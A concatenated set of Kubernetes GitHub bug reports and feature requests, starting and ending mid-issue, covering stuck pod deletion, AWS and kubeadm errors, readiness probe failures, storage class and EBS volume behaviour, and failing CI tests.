stuck into terminating:\r \r    \r $  _output/bin/kubectl get pod\r name                             ready     status        restarts   age\r bb-deployment-659cdb7c4-9c89g    1/1       running       0          7m\r bb-deployment-6bcf47cd64-srzl6   0/1       terminating   0          1m\r    \r 7. now try to delete the pod stuck into terminating and its rs, the delete command does not return:\r \r    \r _output/bin/kubectl delete pods bb-deployment-6bcf47cd64-srzl6\r pod \ bb-deployment-6bcf47cd64-srzl6\  deleted\r \r    \r the delete command does not return and the pod is not removed. same happens when the pod's associated rs is deleted but again the delete command does not return and the rs is not removed. \r \r    \r $  _output/bin/kubectl get rs\r name                       desired   current   ready     age\r bb-deployment-659cdb7c4    1         1         1         8m\r bb-deployment-6bcf47cd64   0         0         0         3m\r $  _output/bin/kubectl delete rs bb-deployment-6bcf47cd64\r replicaset.extensions \ bb-deployment-6bcf47cd64\  deleted\r \r $  _output/bin/kubectl get rs\r name                       desired   current   ready     age\r bb-deployment-659cdb7c4    1         1         1         10m\r bb-deployment-6bcf47cd64   0         0         0         4m\r $  _output/bin/kubectl get pod\r name                             ready     status        restarts   age\r bb-deployment-659cdb7c4-9c89g    1/1       running       0          10m\r bb-deployment-6bcf47cd64-srzl6   0/1       terminating   0          4m\r \r    \r 8. now try deleting the deployment and the again the delete command does not return:\r    \r $ _output/bin/kubectl delete deployment bb-deployment\r deployment.apps \ bb-deployment\  deleted\r ^c\r $ _output/bin/kubectl get deployment\r name            desired   current   up-to-date   available   age\r bb-deployment   1         0         0            0           12m\r $ _output/bin/kubectl get pods\r name                             ready     status        restarts   age\r bb-deployment-6bcf47cd64-srzl6   0/1       terminating   0          7m\r $ _output/bin/kubectl get rs\r name                       desired   current   ready     age\r bb-deployment-6bcf47cd64   0         0         0         7m\r    \r so notice that the running pod and its rs are deleted but the deployment still remains and the delete command does not return. \r \r \r   what you expected to happen  :\r when deleting anything  deployment, pod, rs , they are deleted without any issues.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see steps above.\r \r   anything else we need to know?  :\r this is tested on latest kube master branch as of now.\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master kube branch.\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : fedora\r - kernel  e.g.  uname -a  :\r - install tools: hack/local-cluster-up.sh\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i meet  error determining if node ip-172-xx-xx-208.us-west-2.compute.internal shutdown in cloud: invalid format for aws instance      when i use cloud-provider=aws.  \r \r   what you expected to happen  :  run well\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r 1: iam policy \r  {\r     \ version\ : \ 2012-10-17\ ,\r     \ statement\ :  \r         {\r             \ effect\ : \ allow\ ,\r             \ action\ : \  \ ,\r             \ resource\ : \  \ \r         }\r      \r } \r \r \r 2 : kubectl get node -o yaml\r \r > apiversion: v1\r kind: node\r metadata:\r   annotations:\r     kubeadm.alpha.kubernetes.io/cri-socket: /var/run/dockershim.sock\r     node.alpha.kubernetes.io/ttl: \ 0\ \r     volumes.kubernetes.io/controller-managed-attach-detach: \ true\ \r   creationtimestamp: \ 2018-12-13t08:23:55z\ \r   labels:\r     beta.kubernetes.io/arch: amd64\r     beta.kubernetes.io/os: linux\r     kubernetes.io/hostname: ip-172-xx-xx-208.us-west-2.compute.internal\r     node-role.kubernetes.io/master: \ \ \r   name: ip-172-xx-xx-208.us-west-2.compute.internal\r   resourceversion: \ 4241\ \r   selflink: /api/v1/nodes/ip-172-xx-xx-208.us-west-2.compute.internal\r   uid: 6e66b6cd-feb0-11e8-98ae-024eb1d0666e\r spec:\r   podcidr: 192.168.0.0/24\r \r   environment  :\r - kubernetes version  use  kubectl version  : k8s1.13.0\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : amazon linux \r - kernel  e.g.  uname -a  : linux version 4.14.70-72.55.amzn2.x86_64\r - install tools: kubeadm\r - others:\r \r <!-- do not edit below this line -->\r  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i have a cluster deployed to aws eks with 3 to 4 nodes. one of the node goes down for no reason with kubelethassufficientpid and the statefulset pod replicas is violated in a sense that it does not reschedule pod in other available nodes. i change the podmanagementpolicy to parallel but it doesn't help. any advice and insight is apprecated.\r   what you expected to happen  :\r statefulset replicas is hornoured and reschedule new pod to other available nodes.\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.5\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : ubuntu \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

forked from https://github.com/kubernetes/kubernetes/issues/76579\r \r cos version was bumped in this pr: https://github.com/kubernetes/kubernetes/pull/75149 and that results in increased memory usage of coredns.\r in the meantime the new coredns version was released which reduced by by 2-3x, so it's no longer that big deal, but we should understand the root cause of that to avoid it in the future.

in  10122 we saw an issue where etcd wasn't healthy enough to function, but /validatez was reporting that etcd was 'ok'.  we should consider adding a better health check and/or monitoring signals for etcd?

currently there are places in the code where we are converting string slice to string/int even if the size of the slice is greater than 1. we should understand why we are doing this and fix it.

components should be using the generated clientset instead.  unfortunately, it cannot be removed yet, at least kubectl still relies on it. we should stop people using/updating the package. maybe adding a deprecation warning message in each file?  @krousey @lavalamp @nikhiljindal @janetkuo @kubernetes/sig-api-machinery

i use  kube-up.sh setup kubernetes cluster 1.3.4 , and use deployaddons.sh setup dashboard and dns.  http://kubernetes.io/docs/getting-started-guides/ubuntu/ after that,  i found the dashboard work well. but i can not find service in  other node. i create two busybox pod in two nodes, i  found  i can not ping each other.   root@sia1000076127:~/examples  ps -ef | grep docker root      73175      1  0 10:22 ?        00:00:01 /usr/bin/dockerd -h tcp://127.0.0.1:4243 -h unix:///var/run/docker.sock --bip=172.16.10.1/24 --mtu=1450 --raw-logs  root@sia1000076127:~/examples  kubectl get pods,services --all-namespaces -o wide namespace     name                                ready           status        restarts        age       ip            node default       busybox                             1/1             running       1               57m       172.16.78.2   10.119.39.42 default       busybox1                            1/1             running       0               11s       172.16.10.3   10.119.50.192 kube-system   kube-dns-v17.1-5lpox                3/3             running       3               59m       172.16.25.2   10.119.51.137 kube-system   kubernetes-dashboard-v1.1.0-wpp76   1/1             running       1               59m       172.16.10.2   10.119.50.192 namespace     name                                cluster-ip      external-ip   port s          age       selector default       kubernetes                          192.168.3.1     <none>        443/tcp         1h        <none> default       redis-master                        192.168.3.170   <none>        6379/tcp        57m       name=redis-master kube-system   kube-dns                            192.168.3.10    <none>        53/udp,53/tcp   59m       k8s-app=kube-dns kube-system   kubernetes-dashboard                192.168.3.193   <none>        80/tcp          59m       k8s-app=kubernetes-dashboard  root@sia1000076127:~/examples  kubectl  exec -it busybox -- nslookup redis-master server:    192.168.3.10 address 1: 192.168.3.10  nslookup: can't resolve 'redis-master' error: error executing remote command: error executing command in container: error executing in docker container: 1  root@sia1000076127:~/examples  kubectl exec -it busybox -- ping 172.16.10.3 ping 172.16.10.3  172.16.10.3 : 56 data bytes  root@sia1000076127:~/examples  kubectl exec -it busybox1 -- ping 172.16.78.2 ping 172.16.78.2  172.16.78.2 : 56 data bytes

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-federation/22/  run so broken it didn't make junit output!

at present, the storage class can be deleted even when there are active claims from the subjected storage class.  i would like to seek your opinion on is wherther this a bug or expected/desired result?\r \r ~~~\r   oc get storageclass\r name      type\r fast      kubernetes.io/glusterfs   \r slow      kubernetes.io/glusterfs \r \r   oc get pvc\r name      status    volume                                     capacity   accessmodes   age\r claim1    bound     pvc-d2a7a45c-a0f4-11e6-b4fe-525400f911fc   12gi       rwo           5d\r claim2    bound     pvc-d62c36a3-a0f4-11e6-b4fe-525400f911fc   14gi       rwo           5d\r claim3    bound     pvc-a89b0d1f-a1a1-11e6-b4fe-525400f911fc   16gi       rwo           4d\r claim4    bound     pvc-6543651e-a1a2-11e6-b4fe-525400f911fc   18gi       rwo           4d\r \r \r   oc get pv\r name                                       capacity   accessmodes   reclaimpolicy   status     claim                    reason    age\r pvc-6543651e-a1a2-11e6-b4fe-525400f911fc   18gi       rwo           delete          bound     storage-project/claim4             4d\r pvc-a89b0d1f-a1a1-11e6-b4fe-525400f911fc   16gi       rwo           delete          bound     storage-project/claim3             4d\r pvc-d2a7a45c-a0f4-11e6-b4fe-525400f911fc   12gi       rwo           delete          bound     storage-project/claim1             5d\r pvc-d62c36a3-a0f4-11e6-b4fe-525400f911fc   14gi       rwo           delete          bound     storage-project/claim2             5d\r registry-volume                            5gi        rwx           retain          bound     default/registry-claim             12d\r \r \r   oc describe pvc claim3\r name:           claim3\r namespace:      storage-project\r storageclass:   fast\r status:         bound\r volume:         pvc-a89b0d1f-a1a1-11e6-b4fe-525400f911fc\r labels:         <none>\r capacity:       16gi\r access modes:   rwo\r no events.\r \r \r   oc delete storageclass fast\r storageclass \ fast\  deleted\r \r \r   oc get storageclass       \r name      type\r slow      kubernetes.io/glusterfs\r \r \r   oc get pv\r name                                       capacity   accessmodes   reclaimpolicy   status    claim                    reason    age\r pvc-a89b0d1f-a1a1-11e6-b4fe-525400f911fc   16gi       rwo           delete          bound     storage-project/claim3             4d\r pvc-d2a7a45c-a0f4-11e6-b4fe-525400f911fc   12gi       rwo           delete          bound     storage-project/claim1             5d\r pvc-d62c36a3-a0f4-11e6-b4fe-525400f911fc   14gi       rwo           delete          bound     storage-project/claim2             5d\r registry-volume                            5gi        rwx           retain          bound     default/registry-claim             12d\r \r \r  oc get pvc\r name      status    volume                                     capacity   accessmodes   age\r claim1    bound     pvc-d2a7a45c-a0f4-11e6-b4fe-525400f911fc   12gi       rwo           5d\r claim2    bound     pvc-d62c36a3-a0f4-11e6-b4fe-525400f911fc   14gi       rwo           5d\r claim3    bound     pvc-a89b0d1f-a1a1-11e6-b4fe-525400f911fc   16gi       rwo           4d\r ~~~

in today's implementation, podsecuritypolicy only limits volume types are directly specified in the pod.  do we also want to support persistentvolumesource types?\r \r if the main purpose is to just limit hostpath volumes, then it is mostly ok as hostpath cannot be used as a pv for in a cluster with more than one node.  but if want to limit other types, then it may be worth expanding the policy to pvs.\r \r cc @kubernetes/sig-storage-feature-requests @kubernetes/sig-node-feature-requests

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r testserveexecincontainer\r response location\r \r ---\r \r   is this a bug report or feature request?    choose one :\r   bug report\r \r \r \r   kubernetes version    use  kubectl version  :\r kubernetes at commit 8bee44b65f2fbf170f70c535b5ec1b3cbfad44b6\r sorry, i haven't installed kubectl, i was just wandering around the code\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r os x\r -   kernel    e.g.  uname -a  :\r darwin emmanuels-macbook-pro-2.local 15.6.0 darwin kernel version 15.6.0: mon aug 29 20:21:34 pdt 2016; root:xnu-3248.60.11~1/release_x86_64 x86_64\r -   install tools  :\r installed from source\r -   others  :\r \r \r   what happened  :\r tests:\r    testserveexecincontainer\r    testserveattachcontainer\r fail as of go tip https://github.com/golang/go/commit/6a6c792eef55eded7fb3165a330ec2b239b83960 which will be part of go1.9\r \r   what you expected to happen  :\r those tests to pass\r \r   how to reproduce it    as minimally and precisely as possible :\r run tests:\r    testserveexecincontainer\r    testserveattachcontainer\r \r   anything else we need to know  :\r the tests seem to be adapted to an old/buggy behavior of go's http.servemux not forwarding along\r the query string during redirects as per https://github.com/golang/go/issues/17841.\r the bug in go has since been fixed by cl https://golang.org/cl/43779 and i got this failure when running  make test  in kubernetes\r in particular\r    \r server_test.go:1327: 7: response location: expected http://localhost:12345/exec, got http://localhost:12345/exec?ignore=1&command=ls&command=-a&output=1\r    \r or in detail\r    shell\r e0523 04:03:05.187580   89629 server.go:244  authorization error  user=test, verb=, resource=, subresource= %! extra  errors.errorstring=failed \r e0523 04:03:05.318837   89629 server.go:656  you must specify at least 1 of stdin, stdout, stderr\r --- fail: testserveexecincontainer  0.03s \r \tserver_test.go:1327: 7: response location: expected http://localhost:12345/exec, got http://localhost:12345/exec?ignore=1&command=ls&command=-a&output=1\r e0523 04:03:05.351045   89629 server.go:618  you must specify at least 1 of stdin, stdout, stderr\r --- fail: testserveattachcontainer  0.03s \r \tserver_test.go:1327: 7: response location: expected http://localhost:12345/attach, got http://localhost:12345/attach?ignore=1&output=1\r e0523 04:03:05.528501   89629 server.go:730  query parameter \ port\  cannot be empty\r e0523 04:03:05.530809   89629 server.go:730  unable to parse \ abc\  as a port: strconv.parseuint: parsing \ abc\ : invalid syntax\r e0523 04:03:05.532914   89629 server.go:730  unable to parse \ -1\  as a port: strconv.parseuint: parsing \ -1\ : invalid syntax\r e0523 04:03:05.534807   89629 server.go:730  unable to parse \ 65536\  as a port: strconv.parseuint: parsing \ 65536\ : value out of range\r e0523 04:03:05.536912   89629 server.go:730  port \ 0\  must be > 0\r    \r or\r <img width=\ 1174\  alt=\ screen shot 2017-05-23 at 4 14 28 am\  src=\ https://cloud.githubusercontent.com/assets/4898263/26350283/df5b5604-3f6f-11e7-8b27-555c03d586b8.png\ >\r \r prior to that cl, the test passes\r    shell\r ok  \tk8s.io/kubernetes/pkg/kubelet/server\t0.525s\r    \r \r i am also going to add a small memo to the go project's bug tracker that that fix broke things here, just to keep vigilant.\r \r

bug report:  i think? \r \r   what happened  :\r \r i ran the following steps on ubuntu 16.04:\r \r 1.  sudo apt-get update \r 1.  sudo apt-get upgrade \r 1.  sudo su \r 1.  kubeadm reset \r 1.  kubeadm init --token  redacted  --apiserver-advertise-address=192.168.13.1 --pod-network-cidr=10.244.0.0/16 \r 1.  exit \r 1.  mkdir -p $home/.kube \r 1.  sudo cp -i /etc/kubernetes/admin.conf $home/.kube/config \r 1.  sudo chown $ id -u :$ id -g  $home/.kube/config \r 1.  kubectl get nodes \r \r upon doing this, i receive:\r \r    \r unable to connect to the server: x509: certificate signed by unknown authority  possibly because of \ crypto/rsa: verification error\  while trying to verify candidate authority certificate \ kubernetes\  \r    \r \r i've tried uninstalling  kubectl ,  kubeadm  and  kubelet  a couple of times  even with  --purge   and no matter what i do, it  kubeadm 1.7  doesn't generate a working  admin.conf . however, i run the following:\r \r  curl --cacert /etc/kubernetes/pki/ca.crt --cert /etc/kubernetes/pki/apiserver-kubelet-client.crt --key /etc/kubernetes/pki/apiserver-kubelet-client.key https://192.168.13.1:6443 \r \r and get:\r \r    \r {\r   \ paths\ :  \r     \ /api\ ,\r     \ /api/v1\ ,\r     \ /apis\ ,\r     \ /apis/\ ,\r     \ /apis/apiextensions.k8s.io\ ,\r     \ /apis/apiextensions.k8s.io/v1beta1\ ,\r     \ /apis/apiregistration.k8s.io\ ,\r     \ /apis/apiregistration.k8s.io/v1beta1\ ,\r     \ /apis/apps\ ,\r     \ /apis/apps/v1beta1\ ,\r     \ /apis/authentication.k8s.io\ ,\r     \ /apis/authentication.k8s.io/v1\ ,\r     \ /apis/authentication.k8s.io/v1beta1\ ,\r     \ /apis/authorization.k8s.io\ ,\r     \ /apis/authorization.k8s.io/v1\ ,\r     \ /apis/authorization.k8s.io/v1beta1\ ,\r     \ /apis/autoscaling\ ,\r     \ /apis/autoscaling/v1\ ,\r     \ /apis/batch\ ,\r     \ /apis/batch/v1\ ,\r     \ /apis/certificates.k8s.io\ ,\r     \ /apis/certificates.k8s.io/v1beta1\ ,\r     \ /apis/extensions\ ,\r     \ /apis/extensions/v1beta1\ ,\r     \ /apis/networking.k8s.io\ ,\r     \ /apis/networking.k8s.io/v1\ ,\r     \ /apis/policy\ ,\r     \ /apis/policy/v1beta1\ ,\r     \ /apis/rbac.authorization.k8s.io\ ,\r     \ /apis/rbac.authorization.k8s.io/v1alpha1\ ,\r     \ /apis/rbac.authorization.k8s.io/v1beta1\ ,\r     \ /apis/settings.k8s.io\ ,\r     \ /apis/settings.k8s.io/v1alpha1\ ,\r     \ /apis/storage.k8s.io\ ,\r     \ /apis/storage.k8s.io/v1\ ,\r     \ /apis/storage.k8s.io/v1beta1\ ,\r     \ /healthz\ ,\r     \ /healthz/autoregister-completion\ ,\r     \ /healthz/ping\ ,\r     \ /healthz/poststarthook/apiservice-registration-controller\ ,\r     \ /healthz/poststarthook/apiservice-status-available-controller\ ,\r     \ /healthz/poststarthook/bootstrap-controller\ ,\r     \ /healthz/poststarthook/ca-registration\ ,\r     \ /healthz/poststarthook/extensions/third-party-resources\ ,\r     \ /healthz/poststarthook/generic-apiserver-start-informers\ ,\r     \ /healthz/poststarthook/kube-apiserver-autoregistration\ ,\r     \ /healthz/poststarthook/rbac/bootstrap-roles\ ,\r     \ /healthz/poststarthook/start-apiextensions-controllers\ ,\r     \ /healthz/poststarthook/start-apiextensions-informers\ ,\r     \ /healthz/poststarthook/start-kube-aggregator-informers\ ,\r     \ /healthz/poststarthook/start-kube-apiserver-informers\ ,\r     \ /logs\ ,\r     \ /metrics\ ,\r     \ /swagger-2.0.0.json\ ,\r     \ /swagger-2.0.0.pb-v1\ ,\r     \ /swagger-2.0.0.pb-v1.gz\ ,\r     \ /swagger.json\ ,\r     \ /swaggerapi\ ,\r     \ /ui\ ,\r     \ /ui/\ ,\r     \ /version\ \r    \r }\r    \r \r   what you expected to happen  :\r \r after initializing the master via  kubeadm init , i expected to be able to use  kubectl  to install a network plugin; since it  x509 's, i cannot do that.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7\r - os  e.g. from /etc/os-release : ubuntu 16.04.2 lts\r - kernel  e.g.  uname -a  : linux radium-control 4.4.0-83-generic  106-ubuntu smp mon jun 26 17:54:43 utc 2017 x86_64 x86_64 x86_64 gnu/linux

is this a bug report or feature request?  :\r   \r   what happened  :\r adding annotation  service.beta.kubernetes.io/aws-load-balancer-internal: 0.0.0.0/0  to an existing, external elastic load balancer doesn't recreate the load balancer as an internal one. the load balancer will stay as an external load balancer.\r \r   what you expected to happen  :\r the external elb to be removed and then an internal elb to be created.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create an external elb, when it's up and running. try changing it to an internal one using annotation  service.beta.kubernetes.io/aws-load-balancer-internal: 0.0.0.0/0 \r \r   anything else we need to know?  :\r deleting the service and recreating it with the annotation  service.beta.kubernetes.io/aws-load-balancer-internal: 0.0.0.0/0  works as expected since the external elb gets removed with the service deletion.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.2\ , gitcommit:\ bdaeafa71f6c7c04636251031f93464384d54963\ , gittreestate:\ clean\ , builddate:\ 2017-10-24t19:48:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.7\ , gitcommit:\ b30876a5539f09684ff9fde266fda10b37738c9c\ , gittreestate:\ clean\ , builddate:\ 2018-01-16t21:52:38z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release :\r  debian gnu/linux 8  jessie  \r \r - kernel  e.g.  uname -a  :\r  linux ip-10-198-9-249 4.4.115-k8s  1 smp thu feb 8 15:37:40 utc 2018 x86_64 gnu/linux \r \r - install tools:\r \r - others:\r kops 1.8.7

we have an software system deployed in a single gke cluster node which using around 100 pods, in each pod we defined tcp readiness probe, now we could see the readiness probe periodically fails with \ unable to connect to remote host: connection refused\  on different pods.\r with the tcpdump traces on the cluster node and the failing pods, we find that the packets sent from the cluster node seems right, while the pod doesn't receive the tcp packet, but failing pod could still receive ip broadcast packets.\r \r the weird thing is if we ping/curl/wget the cluster node from the failing pod, regardless the cluster node has http service or not, the tcp connection will be recovered immediately and the readiness check will become fine.\r \r an example is as below:\r \r the cluster node host: 10.44.0.1\r the failing pod host: 10.44.0.92\r \r  tcpdump on cbr0 interface of the cluster node\r \r >>sudo tcpdump -i cbr0  host 10.44.0.92\r \r tcpdump: verbose output suppressed, use -v or -vv for full protocol decode\r listening on cbr0, link-type en10mb  ethernet , capture size 262144 bytes\r 17:33:52.913052 arp, request who-has 10.44.0.1 tell 10.44.0.92, length 28\r 17:33:52.913181 arp, reply 10.44.0.1 is-at 0a:58:0a:2c:00:01  oui unknown , length 28\r 17:33:57.727497 ip 10.44.0.1.47736 > 10.44.0.92.mysql: flags  s , seq 756717730, win 28400, options  mss 1420,sackok,ts val 1084890021 ecr 0,nop,wscale 7 , length 0\r 17:33:57.727537 ip 10.44.0.92.mysql > 10.44.0.1.47736: flags  r. , seq 0, ack 756717731, win 0, length 0\r 17:34:07.727563 ip 10.44.0.1.48202 > 10.44.0.92.mysql: flags  s , seq 2235831098, win 28400, options  mss 1420,sackok,ts val 1084900021 ecr 0,nop,wscale 7 , length 0\r 17:34:07.727618 ip 10.44.0.92.mysql > 10.44.0.1.48202: flags  r. , seq 0, ack 2235831099, win 0, length 0\r 17:34:12.881059 arp, request who-has 10.44.0.92 tell 10.44.0.1, length 28\r 17:34:12.881176 arp, reply 10.44.0.92 is-at 0a:58:0a:2c:00:5c  oui unknown , length 28\r \r these are readiness checks packets sent from kubelet, we could see the failing node responds with \ flags  r. , seq 0, ack 756717731, win 0, length 0\  which is a tcp handshake ack/syn reply, it is a failing packet and the tcp connection will not be established.\r \r the if we \ exec -it\  to the failing pod and ping the cluster node from the pod as below:\r \r root@mariadb:/  ping 10.44.0.1\r ping 10.44.0.1  10.44.0.1 : 56 data bytes\r 64 bytes from 10.44.0.1: icmp_seq=0 ttl=64 time=3.301 ms\r 64 bytes from 10.44.0.1: icmp_seq=1 ttl=64 time=0.303 ms\r \r then let's see what's happening on cluster node side from the tcp dump:\r \r >>sudo tcpdump -i cbr0  host 10.44.0.92\r \r 17:34:17.728039 ip 10.44.0.92.mysql > 10.44.0.1.48704: flags  r. , seq 0, ack 2086181490, win 0, length 0\r 17:34:27.727638 ip 10.44.0.1.49202 > 10.44.0.92.mysql: flags  s , seq 1769056007, win 28400, options  mss 1420,sackok,ts val 1084920022 ecr 0,nop,wscale 7 , length 0\r 17:34:27.727693 ip 10.44.0.92.mysql > 10.44.0.1.49202: flags  r. , seq 0, ack 1769056008, win 0, length 0\r 17:34:34.016995 arp, request who-has 10.44.0.1 tell 10.44.0.92, length 28\r 17:34:34.018358 arp, reply 10.44.0.1 is-at 0a:58:0a:2c:00:01  oui unknown , length 28\r 17:34:34.020020 ip 10.44.0.92 > 10.44.0.1: icmp echo request, id 53, seq 0, length 64\r 17:34:34.020101 ip 10.44.0.1 > 10.44.0.92: icmp echo reply, id 53, seq 0, length 64\r 17:34:35.017197 ip 10.44.0.92 > 10.44.0.1: icmp echo request, id 53, seq 1, length 64\r 17:34:35.017256 ip 10.44.0.1 > 10.44.0.92: icmp echo reply, id 53, seq 1, length 64\r 17:34:36.018589 ip 10.44.0.92 > 10.44.0.1: icmp echo request, id 53, seq 2, length 64\r 17:34:36.018700 ip 10.44.0.1 > 10.44.0.92: icmp echo reply, id 53, seq 2, length 64\r 17:34:37.019791 ip 10.44.0.92 > 10.44.0.1: icmp echo request, id 53, seq 3, length 64\r 17:34:37.019837 ip 10.44.0.1 > 10.44.0.92: icmp echo reply, id 53, seq 3, length 64\r 17:34:37.730849 ip 10.44.0.1.49666 > 10.44.0.92.mysql: flags  s , seq 1304758051, win 28400, options  mss 1420,sackok,ts val 1084930025 ecr 0,nop,wscale 7 , length 0\r 17:34:37.730900 ip 10.44.0.92.mysql > 10.44.0.1.49666: flags  s. , seq 1267340310, ack 1304758052, win 28160, options  mss 1420,sackok,ts val 3617117819 ecr 1084930025,nop,wscale 7 , length 0\r 17:34:37.730952 ip 10.44.0.1.49666 > 10.44.0.92.mysql: flags  . , ack 1, win 222, options  nop,nop,ts val 1084930025 ecr 3617117819 , length 0\r 17:34:37.731149 ip 10.44.0.1.49666 > 10.44.0.92.mysql: flags  f. , seq 1, ack 1, win 222, options  nop,nop,ts val 1084930025 ecr 3617117819 , length 0\r 17:34:37.731268 ip 10.44.0.92.mysql > 10.44.0.1.49666: flags  p. , seq 1:107, ack 2, win 220, options  nop,nop,ts val 3617117819 ecr 1084930025 , length 106\r 17:34:37.731322 ip 10.44.0.1.49666 > 10.44.0.92.mysql: flags  r , seq 1304758053, win 0, length 0\r 17:34:47.728119 ip 10.44.0.1.50138 > 10.44.0.92.mysql: flags  s , seq 502800802, win 28400, options  mss 1420,sackok,ts val 1084940022 ecr 0,nop,wscale 7 , length 0\r 17:34:47.728179 ip 10.44.0.92.mysql > 10.44.0.1.50138: flags  s. , seq 4294752326, ack 502800803, win 28160, options  mss 1420,sackok,ts val 3617127816 ecr 1084940022,nop,wscale 7 , length 0\r \r we could see the icmp packets are the packets for the ping command sent from the pod, after the icmp packets, the readiness check packets now immediately become right, the tcp handleshake success.\r \r not only ping could make it work, other commands like curl/wget could also make it work, just need to reach the cluster node from the failing pod, after that, the tcp connection from cluster node to the pod will become correct.\r \r the failing pods change time to time, it could happen to any pod, since there are 100 pods up running on the node, not sure if it triggers certain system limitation, however all others work correctly, we don't see huge cpu utilization, and there still be few gb memory left on the node.\r \r it seems there is a bug in the network plugin \ kubernet\  from kubernete.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r there's  mount.interface.isnotmountpoint  https://sourcegraph.com/github.com/kubernetes/kubernetes/-/blob/pkg/util/mount/mount.go l60 , and  mount.isnotmountpoint  https://sourcegraph.com/github.com/kubernetes/kubernetes/-/blob/pkg/util/mount/mount.go l253 .\r \r the former is used by local and nfs volume plugins, while the latter is used by  unmountmountpoint  https://sourcegraph.com/github.com/kubernetes/kubernetes/-/blob/pkg/volume/util/util.go l140:6 , which is also used by local and nfs volume plugins.\r \r   what you expected to happen  :\r can we consolidate these? this is really confusing and could easily be the source of bugs.\r \r <!-- do not edit below this line -->\r 

forked from https://github.com/googlecloudplatform/kubernetes/pull/9991 discussion_r32697587  we need to update the scheduler  ours and mesos  to use pods/binding instead of /binding and then we can delete /binding.

i noticed that this week of kubernetes-soak-weekly-deploy-gce failed due to  23545  build  104  may 31, 2016 12:13:01 am   00:13:38 error: gcloud crashed  error :  errno 111  connection refused  the issue is filed for test-infra improvement. no matter what cause for kubernetes-soak-weekly-deploy-gce, shouldn't we re-try? so that soaking test can be unblocked.

1. kubelet was stopped on node with ebs mounted for a short period, to roll out some changes - node was marked as notready, then pods were evicted 2. controller manager thought it was safe to detach the ebs of the evicted pod - when it wasn't, because that ebs was still mounted 3. ebs then got stuck in \ busy\  state for hours, then finally got detached, then got stuck in \ attaching\  state for hours  conclusion: controller manager shouldn't be detaching ebs's when node gets nodenotready - i'm not sure how this happens yet, but i assume that pod eviction causes the volumesinuse to be removed as well. _or_ if we want it to detach, it needs to force detach

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke/3621/  failed:  k8s.io  replicaset should surface a failure condition on a common issue like exceeded quota {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:92 expected error:     < errors.errorstring | 0xc42030a450>: {         s: \ rs controller never added the failure condition for replica set \\\ condition-test\\\ :   extensions.replicasetcondition nil \ ,     }     rs controller never added the failure condition for replica set \ condition-test\ :   extensions.replicasetcondition nil  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/replica_set.go:221

link in this page:\r \r https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/ubuntu.md\r \r is broken.

feature request?  \r \r  kubectl  port forwarding appears to be limited to the  localhost  interface, as opposed to  0.0.0.0 . this makes it difficult for some network applications to access the local port.\r \r for example, a docker container running on a non-linux host will likely be unable to resolve  localhost:80  to the port opened by  kubectl port-forward 80 . so debugging microservices in kubernetes by port-forwarding and running some microservices locally in docker becomes more difficult.\r \r if  kubectl  can make the local port available on more local network interfaces, then applications could be configured for addresss like  $ ifconfig en0 inet :80  and such, enabling them to communicate with the remote kubernetes port.\r \r it is possible to work around this kubernetes limitation by os-specific port-forwarding, but this may be difficult for some users.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r  generic garbage collector \r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-beta.3\ , gitcommit:\ 0cd5ed469508e6dfc807ee6681561c845828917e\ , gittreestate:\ clean\ , builddate:\ 2017-03-11t04:20:22z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-beta.3+coreos.0\ , gitcommit:\ 7013c674183a8b4ee3b3dd846f108e3a5575f4af\ , gittreestate:\ clean\ , builddate:\ 2017-03-13t19:57:10z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  : \r -   cloud provider or hardware 